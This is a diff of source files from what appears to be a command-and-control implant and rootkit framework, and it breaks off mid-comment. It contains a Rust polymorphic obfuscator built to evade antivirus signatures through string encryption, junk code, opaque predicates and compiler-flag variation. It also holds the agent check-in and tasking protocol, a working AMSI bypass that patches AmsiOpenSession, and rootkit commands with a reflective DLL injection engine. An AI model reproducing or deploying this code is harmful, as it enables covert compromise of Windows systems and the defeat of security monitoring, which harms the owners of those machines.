&init_fn); + + sources.insert(file_key.clone(), new_src); + } +} + +/// Insert `init_fn();` as the first statement in every function body. +fn inject_init_calls(src: &str, init_fn: &str) -> String { + let call = format!(" {}();\n", init_fn); + let mut result = String::with_capacity(src.len() + 512); + let mut brace_depth: i32 = 0; + + for line in src.lines() { + let trimmed = line.trim(); + let old_depth = brace_depth; + let (opens, closes) = count_braces(trimmed); + brace_depth += opens - closes; + + result.push_str(line); + result.push('\n'); + + // Inject after function body opening brace + if old_depth == 0 && brace_depth >= 1 && is_function_body_open(trimmed) { + result.push_str(&call); + } + } + + result +} + +/// Parse a C wide-string literal body (the part between L"...") into u16 codepoints. +fn parse_c_wstring(s: &str) -> Vec { + let mut result = Vec::new(); + let bytes = s.as_bytes(); + let mut i = 0; + while i < bytes.len() { + if bytes[i] == b'\\' && i + 1 < bytes.len() { + match bytes[i + 1] { + b'\\' => { result.push(b'\\' as u16); i += 2; } + b'n' => { result.push(b'\n' as u16); i += 2; } + b'r' => { result.push(b'\r' as u16); i += 2; } + b't' => { result.push(b'\t' as u16); i += 2; } + b'"' => { result.push(b'"' as u16); i += 2; } + b'0' => { result.push(0u16); i += 2; } + _ => { result.push(bytes[i + 1] as u16); i += 2; } + } + } else { + result.push(bytes[i] as u16); + i += 1; + } + } + result +} + +/// Encrypt wide (wchar_t) string literals — specifically the TARGET_PROCESS +/// path in runpe_stub.c which appears as plaintext UTF-16 in the binary. +fn encrypt_wide_strings(sources: &mut HashMap, rng: &mut impl Rng) { + let key_name = "runpe_stub.c"; + let src = match sources.get(key_name) { + Some(s) => s.clone(), + None => return, + }; + + // Find: static const wchar_t VARNAME[] = L"..."; + let prefix = "static const wchar_t "; + let Some(decl_start) = src.find(prefix) else { return }; + let after_prefix = decl_start + prefix.len(); + + let Some(bracket_off) = src[after_prefix..].find("[] = L\"") else { return }; + let var_name = src[after_prefix..after_prefix + bracket_off].to_string(); + + let str_start = after_prefix + bracket_off + "[] = L\"".len(); + let Some(str_end_off) = src[str_start..].find("\";") else { return }; + let wide_content = src[str_start..str_start + str_end_off].to_string(); + + let chars = parse_c_wstring(&wide_content); + if chars.is_empty() { return; } + + // Random 16-bit XOR key + let xor_key: u16 = rng.gen_range(0x0001..=0xFFFFu16); + + let encrypted: Vec = chars.iter() + .map(|&c| format!("0x{:04X}", c ^ xor_key)) + .collect(); + + let enc_var = format!("_ew{}", rng.gen_range(100..9999u32)); + let dec_fn = random_ident(rng); + let len = chars.len(); + + // Replace original declaration with encrypted array + decoded buffer + decode fn + let orig_line_end = str_start + str_end_off + "\";".len(); + let orig_decl = &src[decl_start..orig_line_end]; + + let replacement = format!( + "static uint16_t {enc_var}[]={{{enc_data}}};\n\ + static wchar_t {var}[{buf_len}];\n\ + static void {dec_fn}(void){{static int _d=0;if(_d)return;_d=1;\ + for(int _i=0;_i<{len};_i++){var}[_i]=(wchar_t)({enc_var}[_i]^0x{key:04X});\ + {var}[{len}]=0;}}\n", + enc_var = enc_var, + enc_data = encrypted.join(","), + var = var_name, + buf_len = len + 1, + dec_fn = dec_fn, + len = len, + key = xor_key, + ); + + let mut new_src = src.replace(orig_decl, &replacement); + + // Inject decode call at start of function bodies + new_src = inject_init_calls(&new_src, &dec_fn); + + sources.insert(key_name.to_string(), new_src); +} + +// ── Layer 3: Junk Code Insertion ───────────────────────────────────── + +fn generate_junk(idx: usize, rng: &mut impl Rng) -> String { + let v = format!("_j{}{}", (b'a' + (idx as u8 % 26)) as char, rng.gen_range(100..9999u32)); + match idx % 12 { + 0 => format!(" {{volatile DWORD {}=GetTickCount();(void){};}}",v,v), + 1 => { + let a: u32 = rng.gen(); + let b: u32 = rng.gen(); + format!(" {{int {}=(0x{:08X}^0x{:08X});(void){};}}",v,a,b,v) + } + 2 => " if(GetCurrentProcessId()==0xFFFFFFFF){Sleep(0);}".into(), + 3 => { + let sz = rng.gen_range(4..16u32); + let m: u8 = rng.gen(); + format!(" {{volatile uint8_t {v}[{sz}];for(int _i=0;_i<{sz};_i++){v}[_i]=(uint8_t)(_i*0x{m:02X});(void){v};}}") + } + 4 => format!(" {{LARGE_INTEGER {};QueryPerformanceCounter(&{});(void){};}}",v,v,v), + 5 => format!(" {{volatile DWORD {}=GetCurrentThreadId();(void){};}}",v,v), + 6 => { + let val: u32 = rng.gen(); + format!(" {{volatile unsigned int {v}=0x{val:08X};{v}=({v}>>3)|({v}<<29);(void){v};}}") + } + 7 => format!(" {{volatile DWORD {}=GetLastError();(void){};}}",v,v), + 8 => { + let a: u16 = rng.gen(); + let b: u16 = rng.gen(); + format!(" {{volatile unsigned int {}={}*{};(void){};}}",v,a,b,v) + } + 9 => format!(" {{volatile HANDLE {}=GetCurrentProcess();(void){};}}",v,v), + 10 => { + let val: u32 = rng.gen(); + format!(" {{volatile DWORD {v}=0x{val:08X};{v}^=GetCurrentProcessId();(void){v};}}") + } + _ => format!(" {{SYSTEM_INFO {};GetSystemInfo(&{});(void){};}}",v,v,v), + } +} + +fn insert_junk_code(source: &mut String, rng: &mut impl Rng) { + let lines: Vec = source.lines().map(|l| l.to_string()).collect(); + let mut result: Vec = Vec::with_capacity(lines.len() + 20); + let num_junk = rng.gen_range(4..=10); + + // Find candidate lines inside function bodies + let mut brace_depth: i32 = 0; + let mut paren_depth: i32 = 0; + let mut in_function = false; + let mut candidates: Vec = Vec::new(); + + for (i, line) in lines.iter().enumerate() { + let trimmed = line.trim(); + let old_depth = brace_depth; + let paren_before = paren_depth; // paren depth BEFORE this line + let (opens, closes) = count_braces(trimmed); + brace_depth += opens - closes; + paren_depth += count_open_parens(trimmed); + + // Track function body entry/exit + if old_depth == 0 && brace_depth >= 1 && is_function_body_open(trimmed) { + in_function = true; + } + if in_function && brace_depth <= 0 { + in_function = false; + } + + // Candidate: inside function body, looks like a complete statement. + // Only match lines ending with ';' (NOT '{') to avoid inserting junk + // before function definitions or control-flow block opens. + // Check paren_before (depth BEFORE this line) so we don't insert junk + // between lines of a multi-line function call. + // Also check that the previous line doesn't end with a continuation + // operator (=, comma, etc.) which means this line is an RHS continuation. + let prev_is_continuation = i > 0 && is_continuation_line(&lines[i - 1]); + if in_function + && brace_depth >= 1 + && paren_before == 0 + && !prev_is_continuation + && old_depth >= 1 // skip the function opening line itself + && !trimmed.is_empty() + && !trimmed.starts_with("/*") + && !trimmed.starts_with("*") + && !trimmed.starts_with("//") + && !trimmed.starts_with('#') + && !trimmed.starts_with('}') + && !trimmed.starts_with('{') + && trimmed.ends_with(';') + && trimmed.len() > 5 + && i > 0 + { + candidates.push(i); + } + } + + candidates.shuffle(rng); + let insert_set: Vec = candidates.into_iter().take(num_junk).collect(); + + for (i, line) in lines.iter().enumerate() { + if insert_set.contains(&i) { + result.push(generate_junk(rng.gen_range(0..12), rng)); + } + result.push(line.clone()); + } + + *source = result.join("\n"); +} + +// ── Layer 4: Instruction Substitution ──────────────────────────────── + +fn substitute_instructions(source: &mut String, rng: &mut impl Rng) { + // Each substitution has ~50% chance per build + + if rng.gen_bool(0.5) { + *source = source.replace( + "return NULL;", + "{ void *_r = NULL; return _r; }", + ); + } + + if rng.gen_bool(0.5) { + *source = source.replace("Sleep(0)", "WaitForSingleObject((HANDLE)(LONG_PTR)-2, 0)"); + } + + if rng.gen_bool(0.5) { + *source = source.replace( + "if (status == 0 && debug_port != 0)", + "if (!(status != 0) && !(debug_port == 0))", + ); + } + + if rng.gen_bool(0.5) { + *source = source.replace( + "for (uint32_t i = 0; i < len; i++) {\n data[i] ^= key[i % key_len];\n }", + "{ uint32_t i = 0; while (i < len) { data[i] = data[i] ^ key[i % key_len]; i += 1; } }", + ); + } + + // ExitProcess calls now go through g_api — use the prefixed pattern + if rng.gen_bool(0.5) { + *source = source.replace( + "g_api.pExitProcess(0);", + "{ UINT _ec = 0; g_api.pExitProcess(_ec); }", + ); + } + + if rng.gen_bool(0.5) { + *source = source.replace( + "g_api.pSleep(0)", + "g_api.pWaitForSingleObject((HANDLE)(LONG_PTR)-2, 0)", + ); + } + + if rng.gen_bool(0.5) { + *source = source.replace( + "memcpy(mem, sc_data, sc_len);", + "{ for(uint32_t _ci=0;_ci 500.0)", &format!("> {}.0)", 400 + rng.gen_range(50..200))); + } +} + +/// Generate an arithmetic expression that evaluates to `val`. +fn obfuscate_int(val: i64, rng: &mut impl Rng) -> String { + match rng.gen_range(0..4) { + 0 => { + let a = rng.gen_range(1..100) as i64; + format!("({} + {})", val - a, a) + } + 1 => { + let a = rng.gen_range(1..100) as i64; + format!("({} - {})", val + a, a) + } + 2 => { + // find small factor + if val > 1 && val % 2 == 0 { + format!("({} * 2)", val / 2) + } else { + let a = rng.gen_range(1..50) as i64; + format!("({} + {})", val - a, a) + } + } + _ => { + let a = rng.gen_range(1..256) as i64; + format!("({} ^ {})", val ^ a, a) + } + } +} + +/// XOR-encrypt known patch byte arrays (AMSI/ETW) with a multi-byte key +/// to prevent trivial brute-force recovery of the original shellcode bytes. +/// Additionally randomizes the underlying HRESULT/opcode per build. +fn obfuscate_patch_bytes(source: &mut String, rng: &mut impl Rng) { + // AMSI patch: randomly pick a failing HRESULT per build + // Each produces `mov eax, HRESULT; ret` (B8 xx xx xx xx C3) + let amsi_hresults: &[u32] = &[ + 0x80070057, // E_INVALIDARG (original) + 0x80004001, // E_NOTIMPL + 0x80004005, // E_FAIL + 0x80070005, // E_ACCESSDENIED + ]; + + let amsi_pattern = "uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };"; + if source.contains(amsi_pattern) { + let hresult = amsi_hresults[rng.gen_range(0..amsi_hresults.len())]; + let hr_bytes = hresult.to_le_bytes(); + let raw: [u8; 6] = [0xB8, hr_bytes[0], hr_bytes[1], hr_bytes[2], hr_bytes[3], 0xC3]; + + let key: [u8; 4] = [ + rng.gen_range(0x01..=0xFFu8), rng.gen_range(0x01..=0xFFu8), + rng.gen_range(0x01..=0xFFu8), rng.gen_range(0x01..=0xFFu8), + ]; + let enc: Vec = raw.iter().enumerate() + .map(|(i, b)| format!("0x{:02X}", b ^ key[i % 4])) + .collect(); + let replacement = format!( + "uint8_t patch[] = {{ {} }};\n \ + {{uint8_t _k[]={{0x{:02X},0x{:02X},0x{:02X},0x{:02X}}};\ + for(int _pi=0;_pi<(int)sizeof(patch);_pi++) patch[_pi]^=_k[_pi%4];}}", + enc.join(", "), key[0], key[1], key[2], key[3] + ); + *source = source.replace(amsi_pattern, &replacement); + } + + // ETW patch: randomly pick between equivalent "return 0" encodings + let etw_variants: &[&[u8]] = &[ + &[0x33, 0xC0, 0xC3], // xor eax, eax; ret + &[0x2B, 0xC0, 0xC3], // sub eax, eax; ret + &[0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], // mov eax, 0; ret + ]; + + let etw_pattern = "uint8_t patch[] = { 0x33, 0xC0, 0xC3 };"; + if source.contains(etw_pattern) { + let variant = etw_variants[rng.gen_range(0..etw_variants.len())]; + + let key: [u8; 4] = [ + rng.gen_range(0x01..=0xFFu8), rng.gen_range(0x01..=0xFFu8), + rng.gen_range(0x01..=0xFFu8), rng.gen_range(0x01..=0xFFu8), + ]; + let enc: Vec = variant.iter().enumerate() + .map(|(i, b)| format!("0x{:02X}", b ^ key[i % 4])) + .collect(); + let replacement = format!( + "uint8_t patch[] = {{ {} }};\n \ + {{uint8_t _k[]={{0x{:02X},0x{:02X},0x{:02X},0x{:02X}}};\ + for(int _pi=0;_pi<(int)sizeof(patch);_pi++) patch[_pi]^=_k[_pi%4];}}", + enc.join(", "), key[0], key[1], key[2], key[3] + ); + *source = source.replace(etw_pattern, &replacement); + } +} + +// ── Layer 5: Code Block Reordering ─────────────────────────────────── + +fn reorder_evasion_calls(source: &mut String, rng: &mut impl Rng) { + reorder_init_all(source, rng); + reorder_sandbox_checks(source, rng); + reorder_debug_checks(source, rng); +} + +fn reorder_init_all(source: &mut String, rng: &mut impl Rng) { + // Find the inline evasion_init_all function by structure: `(void) {\n#ifdef` + let fn_start_pattern = "(void) {\n#ifdef"; + let fn_start = match source.find(fn_start_pattern) { + Some(pos) => pos, + None => return, + }; + + let body_start = fn_start + "(void) {\n".len(); + let rest = &source[body_start..]; + let closing_brace = match rest.find("\n}\n") { + Some(pos) => body_start + pos, + None => return, + }; + + let body = &source[body_start..closing_brace]; + + // Parse #ifdef...#endif blocks + let mut blocks: Vec = Vec::new(); + let mut sleep_block: Option = None; + let mut current_block = String::new(); + let mut in_block = false; + + for line in body.lines() { + let trimmed = line.trim(); + if trimmed.starts_with("#ifdef") { + in_block = true; + current_block.clear(); + current_block.push_str(line); + current_block.push('\n'); + } else if trimmed == "#endif" && in_block { + current_block.push_str(line); + current_block.push('\n'); + in_block = false; + if current_block.contains("EVASION_DELAYED_EXEC") { + sleep_block = Some(current_block.clone()); + } else { + blocks.push(current_block.clone()); + } + } else if in_block { + current_block.push_str(line); + current_block.push('\n'); + } + } + + if blocks.is_empty() { + return; + } + + blocks.shuffle(rng); + + let mut new_body = String::new(); + if let Some(sb) = sleep_block { + new_body.push_str(&sb); + } + for block in &blocks { + new_body.push_str(block); + } + + let old_section = &source[body_start..closing_brace]; + *source = source.replacen(old_section, &new_body, 1); +} + +fn reorder_sandbox_checks(source: &mut String, rng: &mut impl Rng) { + reorder_call_sequence(source, rng); +} + +fn reorder_debug_checks(source: &mut String, rng: &mut impl Rng) { + reorder_call_sequence(source, rng); +} + +/// Find consecutive sequences of function calls (lines matching `identifier();`) +/// and shuffle their order. +fn reorder_call_sequence(source: &mut String, rng: &mut impl Rng) { + let lines: Vec<&str> = source.lines().collect(); + let mut sequences: Vec<(usize, usize)> = Vec::new(); + let mut seq_start: Option = None; + let mut seq_len = 0; + + for (i, line) in lines.iter().enumerate() { + let trimmed = line.trim(); + if trimmed.ends_with("();") + && !trimmed.starts_with("//") + && !trimmed.starts_with('#') + && !trimmed.contains("return") + { + if seq_start.is_none() { + seq_start = Some(i); + seq_len = 1; + } else { + seq_len += 1; + } + } else { + if let Some(start) = seq_start { + if seq_len >= 3 { + sequences.push((start, start + seq_len)); + } + } + seq_start = None; + seq_len = 0; + } + } + if let Some(start) = seq_start { + if seq_len >= 3 { + sequences.push((start, start + seq_len)); + } + } + + if sequences.is_empty() { + return; + } + + let mut new_lines: Vec = lines.iter().map(|l| l.to_string()).collect(); + for (start, end) in sequences.iter().rev() { + let mut block: Vec = new_lines[*start..*end].to_vec(); + block.shuffle(rng); + new_lines.splice(*start..*end, block); + } + + *source = new_lines.join("\n"); +} + +// ── Layer 6: Opaque Predicates ─────────────────────────────────────── + +const ALWAYS_TRUE: &[&str] = &[ + "((GetCurrentProcessId() | 1) != 0)", + "(sizeof(void*) == 4 || sizeof(void*) == 8)", + "((unsigned int)(GetTickCount() | 1) > 0)", + "((sizeof(DWORD) * 2) == 8)", + "(sizeof(DWORD) <= sizeof(DWORD_PTR))", +]; + +const DEAD_CODE: &[&str] = &[ + "if (sizeof(void*) == 3) { volatile int _dd = 1; (void)_dd; }", + "if (GetCurrentProcessId() == 0) { volatile int _dd = 2; (void)_dd; }", + "if (sizeof(DWORD) == 7) { volatile int _dd = 3; (void)_dd; }", +]; + +fn insert_opaque_predicates(source: &mut String, rng: &mut impl Rng) { + let lines: Vec = source.lines().map(|l| l.to_string()).collect(); + let mut result: Vec = Vec::with_capacity(lines.len() + 16); + let num_predicates = rng.gen_range(2..=5); + + // Find candidates inside function bodies + let mut brace_depth: i32 = 0; + let mut paren_depth: i32 = 0; + let mut in_function = false; + let mut candidates: Vec = Vec::new(); + + for (i, line) in lines.iter().enumerate() { + let trimmed = line.trim(); + let old_depth = brace_depth; + let paren_before = paren_depth; // paren depth BEFORE this line + let (opens, closes) = count_braces(trimmed); + brace_depth += opens - closes; + paren_depth += count_open_parens(trimmed); + + if old_depth == 0 && brace_depth >= 1 && is_function_body_open(trimmed) { + in_function = true; + } + if in_function && brace_depth <= 0 { + in_function = false; + } + + // Candidate: must be a complete statement (ends with ';'), inside a + // function, with balanced parens (not a multi-line call continuation), + // and must look like executable code (not a declaration or directive). + // paren_before == 0 ensures we're not on a continuation of a multi-line call. + // Also reject if previous line ends with continuation operator (=, comma, etc.) + let prev_is_continuation = i > 0 && is_continuation_line(&lines[i - 1]); + if in_function + && brace_depth >= 1 + && old_depth >= 1 // skip function opening line + && paren_before == 0 + && paren_depth == 0 + && !prev_is_continuation + && trimmed.ends_with(';') + && !trimmed.starts_with("//") + && !trimmed.starts_with('#') + && !trimmed.starts_with("static") + && !trimmed.starts_with("typedef") + && !trimmed.starts_with("const ") + && trimmed.len() > 10 + // Skip lines that look like variable declarations (no function call) + && trimmed.contains('(') + { + candidates.push(i); + } + } + + candidates.shuffle(rng); + let wrap_set: Vec = candidates.into_iter().take(num_predicates).collect(); + let mut applied = 0; + + for (i, line) in lines.iter().enumerate() { + if wrap_set.contains(&i) && applied < num_predicates { + let indent = &line[..line.len() - line.trim_start().len()]; + let pred = ALWAYS_TRUE[rng.gen_range(0..ALWAYS_TRUE.len())]; + + // Insert as a standalone dead-code block BEFORE the original line. + // This avoids creating a new scope that would trap variable + // declarations and make them invisible to subsequent code. + result.push(format!( + "{}if (!{}) {{ volatile int _dd = 0; (void)_dd; }}", + indent, pred + )); + result.push(line.clone()); + + if rng.gen_bool(0.4) { + let dead = DEAD_CODE[rng.gen_range(0..DEAD_CODE.len())]; + result.push(format!("{}{}", indent, dead)); + } + applied += 1; + } else { + result.push(line.clone()); + } + } + + *source = result.join("\n"); +} + +// ── Layer 7: Compile-Time Variation ────────────────────────────────── + +fn vary_compiler_flags(rng: &mut impl Rng) -> Vec { + let mut flags: Vec = Vec::new(); + + // Random optimization level + let opt_levels = ["-O1", "-O2", "-O3", "-Os"]; + flags.push(opt_levels[rng.gen_range(0..opt_levels.len())].to_string()); + + flags.push(format!( + "--param=max-inline-insns-auto={}", + rng.gen_range(10..80) + )); + + // Always strip GCC version string from binary (forensic artifact) + flags.push("-fno-ident".to_string()); + + if rng.gen_bool(0.5) { + flags.push("-fno-unwind-tables".to_string()); + } + if rng.gen_bool(0.3) { + flags.push("-fno-jump-tables".to_string()); + } + if rng.gen_bool(0.4) { + flags.push("-fomit-frame-pointer".to_string()); + } + if rng.gen_bool(0.3) { + flags.push("-fno-plt".to_string()); + } + if rng.gen_bool(0.3) { + flags.push("-fno-exceptions".to_string()); + } + + // Dead-code elimination — remove unused functions/data from final binary + if rng.gen_bool(0.6) { + flags.extend([ + "-fdata-sections".to_string(), + "-ffunction-sections".to_string(), + "-Wl,--gc-sections".to_string(), + ]); + } + + // Modern PE flags — makes binary look like legitimate modern software + flags.push("-Wl,--dynamicbase".to_string()); + flags.push("-Wl,--nxcompat".to_string()); + flags.push("-Wl,--high-entropy-va".to_string()); + + // Random -D noise defines + let num_defines = rng.gen_range(3..=6); + for _ in 0..num_defines { + let name = format!("_CFG_{:08X}", rng.gen::()); + flags.push(format!("-D{}={}", name, rng.gen::())); + } + + // Random section alignment + if rng.gen_bool(0.4) { + let alignments = [0x200, 0x400, 0x1000]; + let align = alignments[rng.gen_range(0..alignments.len())]; + flags.push(format!("-Wl,--section-alignment,0x{:X}", align)); + } + + // Randomize PE timestamp + if rng.gen_bool(0.5) { + flags.push("-Wl,--no-insert-timestamp".to_string()); + } + + flags +} diff --git a/src/protocol.rs b/src/protocol.rs new file mode 100755 index 0000000..a5de415 --- /dev/null +++ b/src/protocol.rs @@ -0,0 +1,199 @@ +//! Wire protocol types mirroring zerin.proto but using serde + bincode +//! for serialization instead of protobuf codegen. + +use serde::{Deserialize, Serialize}; + +// ============================================================================ +// Key Exchange +// ============================================================================ + +/// Agent -> Server: initial key exchange (first check-in). +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct KeyExchange { + /// SHA256(agent's compiled-in X25519 public key) + pub agent_pubkey_hash: Vec, + /// Ephemeral X25519 public key (32 bytes) + pub ephemeral_pubkey: Vec, + /// ChaCha20-Poly1305 encrypted CheckIn (using derived session key) + pub encrypted_checkin: Vec, + /// 12-byte nonce for the encrypted checkin + pub nonce: Vec, +} + +/// Server -> Agent: key exchange response. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct KeyExchangeResponse { + /// Encrypted acknowledgement + initial tasking + pub encrypted_payload: Vec, + /// 12-byte nonce + pub nonce: Vec, + /// Server's ephemeral public key so the agent can derive the same shared secret + pub server_pubkey: Vec, +} + +// ============================================================================ +// Agent Check-In +// ============================================================================ + +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct CheckIn { + pub agent_id: String, + pub hostname: String, + pub username: String, + pub domain: String, + pub internal_ip: String, + pub pid: u32, + pub ppid: u32, + pub os_version: String, + pub arch: String, + pub process_name: String, + pub elevated: bool, + pub integrity_level: u32, + pub sleep_interval: u32, + pub jitter_percent: u32, + pub kill_date: i64, + #[serde(default)] + pub av_product: String, +} + +// ============================================================================ +// Envelope (encrypted wrapper) +// ============================================================================ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Envelope { + pub message_type: u32, + pub sequence_number: u64, + pub agent_id: String, + pub payload: Vec, + pub timestamp: i64, +} + +/// Message type constants matching the proto enum. +#[allow(dead_code)] +pub mod message_type { + pub const MSG_UNKNOWN: u32 = 0; + pub const MSG_CHECKIN: u32 = 1; + pub const MSG_CHECKIN_ACK: u32 = 2; + pub const MSG_TASK_REQUEST: u32 = 3; + pub const MSG_TASK_RESPONSE: u32 = 4; + pub const MSG_TASK_RESULT: u32 = 5; + pub const MSG_HEARTBEAT: u32 = 6; + pub const MSG_HEARTBEAT_ACK: u32 = 7; + pub const MSG_EXIT: u32 = 8; +} + +// ============================================================================ +// Tasking +// ============================================================================ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskRequest {} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskResponse { + pub tasks: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Task { + pub task_id: String, + pub command: String, + pub args: Vec, + #[serde(with = "serde_bytes_compat")] + pub data: Vec, + pub timeout: u32, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskResult { + pub task_id: String, + pub success: bool, + pub output: String, + #[serde(with = "serde_bytes_compat")] + pub data: Vec, + pub error_code: i32, + pub error_message: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskResultBatch { + pub results: Vec, +} + +// ============================================================================ +// Heartbeat +// ============================================================================ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Heartbeat { + pub timestamp: i64, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct HeartbeatAck { + pub timestamp: i64, + pub pending_tasks: u32, +} + +// ============================================================================ +// Configuration update +// ============================================================================ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ConfigUpdate { + pub sleep_interval: Option, + pub jitter_percent: Option, + pub kill_date: Option, + pub callback_urls: Vec, +} + +// ============================================================================ +// Encrypted beacon wrapper (over the wire) +// ============================================================================ + +/// The raw encrypted blob sent from the agent on the beacon endpoint. +/// agent_id is sent in cleartext so the server can look up the session key. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct EncryptedEnvelope { + pub agent_id: String, + pub ciphertext: Vec, + pub nonce: Vec, +} + +// ============================================================================ +// Helper: serde_bytes compatibility for bincode +// ============================================================================ + +mod serde_bytes_compat { + use serde::{Deserialize, Deserializer, Serialize, Serializer}; + + pub fn serialize(data: &Vec, s: S) -> Result { + data.serialize(s) + } + + /// Accepts either a JSON array of numbers OR a base64 string. + pub fn deserialize<'de, D: Deserializer<'de>>(d: D) -> Result, D::Error> { + use serde::de; + + #[derive(Deserialize)] + #[serde(untagged)] + enum BytesOrString { + Bytes(Vec), + Base64(String), + } + + match BytesOrString::deserialize(d)? { + BytesOrString::Bytes(v) => Ok(v), + BytesOrString::Base64(s) => { + if s.is_empty() { + return Ok(Vec::new()); + } + use base64::Engine as _; + base64::engine::general_purpose::STANDARD + .decode(&s) + .map_err(|e| de::Error::custom(format!("invalid base64: {}", e))) + } + } + } +} diff --git a/src/rootkit/amsi.c b/src/rootkit/amsi.c new file mode 100755 index 0000000..2997f22 --- /dev/null +++ b/src/rootkit/amsi.c @@ -0,0 +1,59 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include "rootkit.h" + +typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +int rootkit_bypass_amsi(void) { + /* Load amsi.dll (may not be loaded yet) */ + char amsi_buf[32]; + obf_decrypt_to(OBF_AMSI, amsi_buf, sizeof(amsi_buf)); + HMODULE hAmsi = LoadLibraryA(amsi_buf); + obf_wipe(amsi_buf, sizeof(amsi_buf)); + if (!hAmsi) return 0; /* AMSI not present, nothing to bypass */ + + /* + * Patch AmsiOpenSession instead of AmsiScanBuffer. + * AmsiScanBuffer patching is heavily monitored by Defender + * (Behavior:Win32/AMSI_Patch_T). AmsiOpenSession is less + * scrutinized — if it fails, all AMSI scans silently fail. + */ + char func_name[32]; + obf_decrypt_to(OBF_AMSI_OPEN_SESSION, func_name, sizeof(func_name)); + LPVOID pFunc = (LPVOID)GetProcAddress(hAmsi, func_name); + obf_wipe(func_name, sizeof(func_name)); + if (!pFunc) return -1; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) return -1; + + DWORD oldProtect; + if (!pVP(pFunc, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) + return -1; + + /* + * Build patch bytes at runtime via XOR to avoid static signatures. + * Decrypted instructions (x64): + * 48 31 C0 xor rax, rax + * 48 FF C8 dec rax + * C3 ret + * AmsiOpenSession returns -1 (E_FAIL), killing all AMSI scans. + */ + volatile BYTE key = 0x55; + BYTE enc[] = { 0x1D, 0x64, 0x95, 0x1D, 0xAA, 0x9D, 0x96 }; + BYTE buf[7]; + for (int i = 0; i < 7; i++) buf[i] = enc[i] ^ key; + + memcpy(pFunc, buf, sizeof(buf)); + pVP(pFunc, 8, oldProtect, &oldProtect); + + /* Scrub patch from stack */ + SecureZeroMemory(buf, sizeof(buf)); + SecureZeroMemory((void *)enc, sizeof(enc)); + + return 0; +} + +#endif /* _WIN32 */ diff --git a/src/rootkit/commands.c b/src/rootkit/commands.c new file mode 100755 index 0000000..4128c18 --- /dev/null +++ b/src/rootkit/commands.c @@ -0,0 +1,72 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include "rootkit.h" +#include +#include + +// ============================================================================ +// Rootkit command handlers +// +// cmd_rootkit_status — report rootkit state +// cmd_rootkit_inject — inject into a specific PID +// cmd_rootkit_inject_all — inject into all compatible processes +// ============================================================================ + +int cmd_rootkit_status(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + char buf[2048]; + rootkit_get_status(buf, sizeof(buf)); + + result->output = _strdup(buf); + result->success = true; + return 0; +} + +int cmd_rootkit_inject(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 1) { + result->output = _strdup("bad args: "); + result->success = false; + result->error_code = -1; + return -1; + } + + uint32_t pid = (uint32_t)atoi(task->args[0]); + int ret = rootkit_inject_pid(pid); + + char buf[128]; + if (ret == 0) { + snprintf(buf, sizeof(buf), "OK PID %u", pid); + result->success = true; + } else { + snprintf(buf, sizeof(buf), "ERR PID %u code %d", pid, ret); + result->success = false; + result->error_code = ret; + } + result->output = _strdup(buf); + return ret; +} + +int cmd_rootkit_inject_all(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + int count = rootkit_start_injection(); + + char buf[256]; + if (count >= 0) { + snprintf(buf, sizeof(buf), "OK: %d processes", count); + result->success = true; + } else { + snprintf(buf, sizeof(buf), "ERR: not active, code %d", count); + result->success = false; + result->error_code = count; + } + result->output = _strdup(buf); + return count >= 0 ? 0 : count; +} + +#endif // _WIN32 diff --git a/src/rootkit/inject.c b/src/rootkit/inject.c new file mode 100755 index 0000000..3478062 --- /dev/null +++ b/src/rootkit/inject.c @@ -0,0 +1,1059 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include "rootkit.h" +#include "syscalls.h" +#include "indirect_syscalls.h" +#include "rk_dll_bytes.h" +#include "obf_strings_gen.h" + +#include +#include +#include + +// Win32 API typedefs for runtime resolution (keep out of IAT) +typedef HANDLE (WINAPI *PFN_OpenProcess)(DWORD, BOOL, DWORD); +typedef LPVOID (WINAPI *PFN_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL (WINAPI *PFN_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); +typedef BOOL (WINAPI *PFN_VirtualProtectEx)(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); +typedef BOOL (WINAPI *PFN_VirtualFreeEx)(HANDLE, LPVOID, SIZE_T, DWORD); +typedef LPVOID (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL (WINAPI *PFN_VirtualFree)(LPVOID, SIZE_T, DWORD); +typedef BOOL (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +// ============================================================================ +// Reflective DLL injection engine + process monitor +// +// The rootkit DLL is embedded in encrypted form (ChaCha20). On first use, +// rk_decrypt_dll() decrypts it into a VirtualAlloc'd buffer. All injection +// operations use the decrypted buffer instead of the static array. +// +// Injects the embedded rootkit DLL into target processes using reflective +// injection: VirtualAllocEx + WriteProcessMemory + NtCreateThreadEx at the +// ReflectiveDllMain export offset. A background thread monitors for newly +// spawned processes and injects them automatically. +// +// Safety model (inspired by r77 rootkit): +// 1. Architecture check — x64 DLL only into x64 processes +// 2. Protected process list — skip known-crashy processes +// 3. Critical process 